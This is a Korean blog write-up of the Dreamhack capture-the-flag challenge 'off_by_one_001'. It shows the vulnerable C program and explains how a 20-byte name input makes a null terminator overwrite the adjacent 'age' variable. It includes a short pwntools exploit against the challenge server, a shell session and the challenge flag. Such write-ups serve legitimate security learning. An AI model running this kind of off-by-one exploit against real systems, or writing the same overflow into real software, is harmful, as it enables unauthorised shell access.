[Dreamhack] off_by_one_001

#코딩노예#·2022년 9월 1일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}
  • 쉘을 띄워주는 get_shell 함수가 있습니다.
  • size 만큼 문자열에 입력을 받고 입력 받은 길이에 해당하는 인덱스에 '\0'을 넣어주는 read_str 함수가 있습니다.
  • age가 0이면 쉘을 띄웁니다.

⇾ A를 20개 입력하면 name[20]에 접근하여 0을 넣게 되고 그러면 out of bound 취약점에 의해 age가 0으로 변조되어 쉘이 뜰거 같습니다.


한번 해보면

 kali@kali  ~/wargame/dreamhack/off_by_one_001  ./off_by_one_001    
Name: aaaaaaaaaaaaaaaaaaaa
20Are you baby?$ $ 
$

쉘이 떴습니다.


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 15886)

payload = b'A' * 20

p.sendline(payload)
p.interactive()


익스플로잇

 kali@kali  ~/wargame/dreamhack/off_by_one_001  python3 exploit.py             
[+] Opening connection to host3.dreamhack.games on port 15886: Done
[*] Switching to interactive mode
Name: 20Are you baby?$ 
$ ls
flag
off_by_one_001

$ cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}

0개의 댓글